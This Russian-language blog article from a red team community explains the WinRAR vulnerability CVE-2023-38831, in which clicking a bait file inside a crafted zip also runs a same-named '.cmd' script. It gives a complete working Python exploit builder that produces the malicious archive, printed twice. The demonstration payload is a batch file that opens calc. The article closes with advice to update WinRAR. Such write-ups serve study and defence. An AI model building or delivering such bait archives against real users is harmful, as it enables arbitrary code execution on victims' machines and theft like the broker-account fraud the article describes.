Введение
10 июля 2023 года при исследовании распространения троянского ПО под названием DarkMe, специалистами из Group-IB была обнаружена раннее неизвестная уязвимость в WinRAR, которая касалась обработки zip-архивов. Данная уязвимость получила идентификатор CVE-2023-38831. С помощью этой уязвимости, по данным специалистов Group-IB, злоумышленники производили атаку на пользователей трейдерских форумов с апреля 2023 года. После заражения устройств пользователей, злоумышленники выводили деньги с брокерских счетов жертв. В этой статье мы разберемся, в чем кроется уязвимость и как её можно проэксплуатировать.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Этапы эксплуатации уязвимости
Срабатывание уязвимости делится на два этапа:
- Жертва нажимает на файл-приманку.
- Срабатывает скрипт, который расположен в одноименной папке.
Подробное описание эксплуатации
После того, как пользователь нажмет на файл, WinRar пройдёт по каталогу в zip-файле, сравнит dir_entry->name (dir_entry здесь структура данных, представляющая собой каталог, а name - имя файла в директории) с click_name (имя файла, по которому щелкнули).
Поскольку длина входящего сравнения равна длине click_name, сравнения типа "bait_file.pdf "и "bait_file.pdf \\\\bait_file.pdf .cmd "будут совпадать. Поэтому, если в архиве есть папка с тем же именем, что и у файла, по которому щелкнули, функция сравнения вернет 1, чтобы указать совпадение. Впоследствии файл .cmd вместе с pdf-файлом будут распакованы в TEMP-папку.
Найденные приведенной выше функцией файлы передаются в функцию ShellExecuteExW.
Из-за этой ошибки, можно заставить WinRAR запустить .cmd файл следующим образом:
- Создаем папку с тем же названием, что и наш файл-приманка.
- В созданной папке создаем скрипт-файл с названием что и у файла-приманки, только добавляем в конец .cmd.
- Таким образом, в функцию ShellExecuteExW будет передан помимо файла-приманки, файл bait_file.pdf .cmd.
Обратите внимание, что в конце файлов стоит пробел!
Написание эксплоита
Для начала, напишем простой bat-файл, который будет выполняться:
calc &
bait_file.pdf
При выполнении этого файла откроется калькулятор и сам pdf-файл.
Приступим к написанию эксплоита. Сначала импортируем необходимые библиотеки:
import shutil
import os, sys
from os.path import join
import argparse
После этого определим переменную, которая будет служить для названия временной папки, содержимое которой будет позже архивироваться, а также создадим парсер аргументов:
TEMPLATE_NAME = 'tmp'
parser = argparse.ArgumentParser(description='PoC of CVE-2023-38831') parser.add_argument('--bait_name', dest='bait_name', help='Имя pdf-приманки') parser.add_argument('--script_name', dest='script_name', help='Имя скрипт-файла') parser.add_argument('--output', dest='output_name', help='Имя конечного архива') args = parser.parse_args()
bait_name = args.bait_name
script_name = args.script_name
output_name = args.output_name
Далее мы создаем папку, закидываем туда файлы и архивируем:
if os.path.exists(TEMPLATE_NAME): shutil.rmtree(TEMPLATE_NAME) os.mkdir(TEMPLATE_NAME) d = join(TEMPLATE_NAME, bait_name + "A")
if not os.path.exists(d): os.mkdir(d)
shutil.copyfile(join(script_name), join(d, bait_name+"A.cmd")) shutil.copyfile(join(bait_name), join(TEMPLATE_NAME, bait_name+"B"))
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
На этом этапе у нас получается следующий архив:
Т.е. у нас есть наш файл-приманка bait_file.pdfB и каталог bait_file.pdfA с файлом bait_file.pdfA.cmd.
Теперь нужно изменить содержимое архива так, чтобы наш pdf-файл и каталог назывались одинаково. Штатными средствами это сделать не получится, так как будет ошибка “Файл с таким названием уже существует”. Поэтому мы поступим следующим образом: откроем zip-файл в режиме ‘rb’ (чтение байтов), заменим названия файлов на необходимые, и запишем новый файл в режиме ‘wb’:
with open(TEMPLATE_NAME + ".zip", "rb") as f: content = f.read() content = content.replace(bait_name + b"A", bait_name + b" ") content = content.replace(bait_name + b"B", bait_name + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(output_name, "wb") as f: f.write(content)
Теперь передадим этот архив на windows-машину и попробуем открыть pdf-файл в winrar:
Видим, что у нас открылся калькулятор и сам pdf-файл, т.е. наш скрипт-файл выполнился успешно.
Полный листинг эксплоита:
import shutil
import os, sys
from os.path import join
import argparse
TEMPLATE_NAME = 'tmp'
parser = argparse.ArgumentParser(description='PoC of CVE-2023-38831') parser.add_argument('--bait_name', dest='bait_name', help='Имя pdf-приманки') parser.add_argument('--script_name', dest='script_name', help='Имя скрипт-файла') parser.add_argument('--output', dest='output_name', help='Имя конечного архива') args = parser.parse_args()
bait_name = args.bait_name
script_name = args.script_name
output_name = args.output_name
if os.path.exists(TEMPLATE_NAME): shutil.rmtree(TEMPLATE_NAME) os.mkdir(TEMPLATE_NAME) d = join(TEMPLATE_NAME, bait_name + "A")
if not os.path.exists(d): os.mkdir(d)
shutil.copyfile(join(script_name), join(d, bait_name+"A.cmd")) shutil.copyfile(join(bait_name), join(TEMPLATE_NAME, bait_name+"B"))
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
bait_extension = b"." + bait_name.split(".")[-1].encode("utf-8")
print(bait_extension)
with open(TEMPLATE_NAME + ".zip", "rb") as f: content = f.read() content = content.replace(bait_extension + b"A", bait_extension + b" ") content = content.replace(bait_extension + b"B", bait_extension + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(output_name, "wb") as f: f.write(content)
Также, эксплоит работает и с другими видами файлов, например, txt, png, jpg.
Рекомендации
К этой уязвимости подвержены все версии WinRAR < 6.23. Для того, чтобы обезопасить себя, необходимо обновить ПО до последней версии. Самую свежую версию можно найти по следующей ссылке.
Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam